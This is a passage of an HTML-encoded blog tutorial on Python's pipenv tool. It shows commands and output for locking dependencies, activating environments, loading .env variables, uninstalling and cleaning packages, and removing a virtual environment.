8.4.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - packaging &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: Any, installed: 20.4&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - pyparsing &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2.0.2, installed: 2.4.7&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - six &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: Any, installed: 1.15.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - pluggy &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.12,&amp;lt;1.0, installed: 0.13.1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - importlib-metadata &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.12, installed: 1.7.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - zipp &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.5, installed: 3.1.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - py &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.5.0, installed: 1.9.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - wcwidth &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: Any, installed: 0.2.5&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;generate-a-pipfilelock-file&#34;&gt;Generate a Pipfile.lock file&lt;/h3&gt;&#xA;&lt;p&gt;We can also generate a &lt;em&gt;Pipfile.lock&lt;/em&gt; file from a &lt;em&gt;Pipfile&lt;/em&gt; file. Let&amp;rsquo;s delete the &lt;em&gt;Pipfile.lock&lt;/em&gt; file and generate a new one&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm Pipfile.lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s run the &lt;em&gt;pipenv lock&lt;/em&gt; command&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Building requirements...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving dependencies...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✔ Success! &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Building requirements...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving dependencies...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✔ Success! &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Updated Pipfile.lock &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;88888&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At the end of the process we will have our &lt;em&gt;Pipfile.lock&lt;/em&gt; file again in the same folder&lt;/p&gt;&#xA;&lt;h2 id=&#34;finding-a-virtual-environment-with-pipenv&#34;&gt;Finding a virtual environment with pipenv&lt;/h2&gt;&#xA;&lt;p&gt;All good up to this point, but we are not yet inside our virtual environment, moreover, we only have the &lt;em&gt;Pipfile&lt;/em&gt; and &lt;em&gt;Pipfile.lock&lt;/em&gt; files in our current folder. And the virtual environment? Well, pipenv places the virtual environment in another location, to find it out we can use the &lt;em&gt;&amp;ndash;venv&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv --venv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/usuario/.local/share/virtualenvs/proyecto-HHqROqC2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And now, instead of locating the activate file manually in the above path, as we did with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/python-virtualenv-linux-basic-tutorial/&#34;&gt;virtualenv&lt;/a&gt;&#xA;, we can activate the virtual environment using the &lt;em&gt;pipenv shell&lt;/em&gt; command and this will be done for us automatically&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv shell&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/python-virtualenv-linux-basic-tutorial/&#34;&gt;virtualenv&lt;/a&gt;&#xA; we can see that the prompt will change, indicating that we are inside the virtual environment&lt;/p&gt;&#xA;&lt;h2 id=&#34;environment-variables-with-pipenv&#34;&gt;Environment variables with Pipenv&lt;/h2&gt;&#xA;&lt;p&gt;One of the features that makes pipenv different is that it allows you to load environment variables directly from a &lt;em&gt;.env&lt;/em&gt; file when you enter a virtual environment. Let&amp;rsquo;s leave the virtual environment for a moment to create the file and load environment variables.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that the prompt is back to normal, we will create a &lt;em&gt;.env&lt;/em&gt; file with environment variables. I will do this in one step using the &lt;em&gt;echo&lt;/em&gt; command and redirecting the result to the file, but if you feel more comfortable using the &lt;em&gt;touch&lt;/em&gt; command and then opening it to add the contents you can also do this and it is fine.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;SPAM=eggs&amp;#34;&lt;/span&gt; &amp;gt; .env&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we do an &lt;em&gt;ls&lt;/em&gt; we can see that we now have our &lt;em&gt;.env&lt;/em&gt; file in the same folder as &lt;em&gt;Pipfile&lt;/em&gt; and &lt;em&gt;Pipfile.lock&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.  ..  .env Pipfile Pipfile.lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s reload our virtual environment&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv shell&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Loading .env environment variables…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Launching subshell in virtual environment…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; . /home/usuario/.local/share/virtualenvs/proyecto-HHqROqC2/bin/activate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The prompt will change again, and, if we run the &lt;em&gt;printenv&lt;/em&gt; command we can see that our environment variable was added perfectly.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;SPAM&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;eggs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;uninstalling-packages-in-pipenv&#34;&gt;Uninstalling packages in pipenv&lt;/h2&gt;&#xA;&lt;p&gt;To uninstall packages we will use the &lt;em&gt;pipenv uninstall&lt;/em&gt; command and the package name.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv uninstall pytest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling pytest…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Found existing installation: pytest 5.4.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling pytest-5.4.3:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Successfully uninstalled pytest-5.4.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Removing pytest from Pipfile…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Building requirements...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving dependencies...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✔ Success! &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Updated Pipfile.lock &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3f348b&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we want to uninstall all packages and leave our environment as new we can use the &lt;em&gt;&amp;ndash;all&lt;/em&gt; option instead of specifying a package name. This will delete all files in the virtual environment but leave the &lt;em&gt;Pipfile&lt;/em&gt; completely safe.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv uninstall --all&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Un-installing all &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; and &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Found &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; installed package&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;s&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;, purging…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Environment now purged and fresh!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we use the &lt;em&gt;&amp;ndash;all-dev&lt;/em&gt; option, it will remove all development dependencies, both from the virtual environment and from our &lt;em&gt;Pipfile&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv uninstall --all-dev&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Un-installing &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Building requirements...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving dependencies...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✔ Success! &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Updated Pipfile.lock &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;65a03c&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;executing-commands-in-virtual-environment-with-pipenv&#34;&gt;Executing commands in virtual environment with pipenv&lt;/h2&gt;&#xA;&lt;p&gt;We can also execute commands directly in the virtual environment without being inside. Exit the virtual environment if you are inside and make sure the prompt has returned to normal before executing the next command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv run pip install requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Loading .env environment variables…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading requests-2.24.0-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;61&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| &lt;span style=&#34;color:#ff9f43&#34;&gt;61&lt;/span&gt; kB &lt;span style=&#34;color:#ff9f43&#34;&gt;53&lt;/span&gt; kB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting idna&amp;lt;3,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading idna-2.10-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;58&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| &lt;span style=&#34;color:#ff9f43&#34;&gt;58&lt;/span&gt; kB &lt;span style=&#34;color:#ff9f43&#34;&gt;641&lt;/span&gt; kB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting chardet&amp;lt;4,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;3.0.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached chardet-3.0.4-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;133&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting certifi&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2017.4.17&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading certifi-2020.6.20-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;156&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| &lt;span style=&#34;color:#ff9f43&#34;&gt;156&lt;/span&gt; kB 6.1 MB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting urllib3!&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.25.0,!&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.25.1,&amp;lt;1.26,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.21.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached urllib3-1.25.9-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;126&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing collected packages: idna, chardet, certifi, urllib3, requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully installed certifi-2020.6.20 chardet-3.0.4 idna-2.10 requests-2.24.0 urllib3-1.25.9&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The previous command left us with the requests package and its dependencies installed in our virtual environment, however the &lt;em&gt;Pipfile&lt;/em&gt; and &lt;em&gt;Pipfile.lock&lt;/em&gt; file &lt;strong&gt;were not updated.&lt;/strong&gt; To delete all those installed packages not found in the two previous files there is &lt;em&gt;pipenv clean&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;clean-our-virtual-environment-in-pipenv&#34;&gt;Clean our virtual environment in pipenv&lt;/h2&gt;&#xA;&lt;p&gt;We can also clean our virtual environment of all those packages that are not specified inside our &lt;em&gt;Pipfile.lock&lt;/em&gt; file using &lt;em&gt;clean&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv clean&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling urllib3…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling idna…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling requests…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling chardet…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling certifi…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ready, our environment does not contain any installed package, however it still exists.&lt;/p&gt;&#xA;&lt;h2 id=&#34;deleting-a-virtual-environment-in-pipenv&#34;&gt;Deleting a virtual environment in pipenv&lt;/h2&gt;&#xA;&lt;p&gt;To delete a virtual environment we will use the &lt;em&gt;&amp;ndash;rm&lt;/em&gt; option followed by the &lt;em&gt;pipenv&lt;/em&gt; command. Note that pipenv will detect the virtual environment to be removed by extracting the information from the folder we are in, so make sure twice that you are in the correct folder.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv --rm&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Removing virtualenv &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;/home/usuario/.local/share/virtualenvs/prueba-HHqROqC2&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ready! The virtual environment has been completely removed.&lt;/p&gt;&#xA;&lt;h2 id=&#34;alternatives-to-pipenv&#34;&gt;Alternatives to Pipenv&lt;/h2&gt;&#xA;&lt;p&gt;Pipenv may not convince you, you probably prefer to try another virtual environment manager.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Conda&lt;/li&gt;&#xA;&lt;li&gt;Poetry (I&amp;rsquo;ve used it and it&amp;rsquo;s quite 